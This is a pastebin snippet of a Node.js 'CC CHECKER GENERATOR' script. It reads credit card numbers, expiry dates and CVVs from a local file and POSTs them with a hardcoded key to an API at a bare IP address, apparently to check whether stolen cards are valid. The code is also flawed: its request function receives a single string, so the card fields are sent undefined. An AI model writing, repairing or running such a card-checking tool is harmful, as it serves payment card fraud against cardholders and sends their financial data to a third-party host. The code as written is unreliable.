cecehbaru

mail@pastecode.io avatar
unknown
javascript
2 years ago
1.6 kB
2
Indexable
Never
const fetch = require ('node-fetch');
const fs = require ('fs');
const readlineSync = require ('readline-sync');


const ambilAPI = (key, card, exp_month, year, cvc ) => new Promise ((resolve, reject) => {
    fetch ('http://148.100.108.61/api/cc', {
        method: 'POST',

       body: new URLSearchParams({
        'key':'jancukpristel',
        'card':`${card}`,
        'exp_month':`${exp_month}`,
        'year': `${year}`,
        'cvc':`${cvc}`,
       })

    })
    .then (res => res.text())
    .then (result => {
        resolve(result)
    })
    .catch (err => reject (err))
});


// console.log(datacc);

(async () => {
    console.log('CC CHECKER GENERATOR');
    console.log('');

    

    // const checkcc = readlineSync.question('Masukkan Nama Filenya cok :');

     const datacc = fs.readFileSync('datacc.txt', 'utf-8');

    

    // const datanya = console.log(datacc);

    const keynyaa = "jancukpristel";
    const nomorcc = datacc.split('|')[0];
    // console.log(nomorcc);
    const namabulan = datacc.split('|')[1];
    const namabulannya = parseInt(namabulan);
    // console.log(namabulannya);
    const exp = datacc.split('|')[2];
    // console.log(exp);
    const cvv = datacc.split('|')[3];
    // console.log(cvv);
    const cobatestdata = 
    `'${keynyaa}',
    '${nomorcc}',
    '${namabulannya}',
    '${exp}',
    '${cvv}',`
    console.log(cobatestdata);

     const InsertData = await ambilAPI(cobatestdata);
     console.log(InsertData);
     
})
();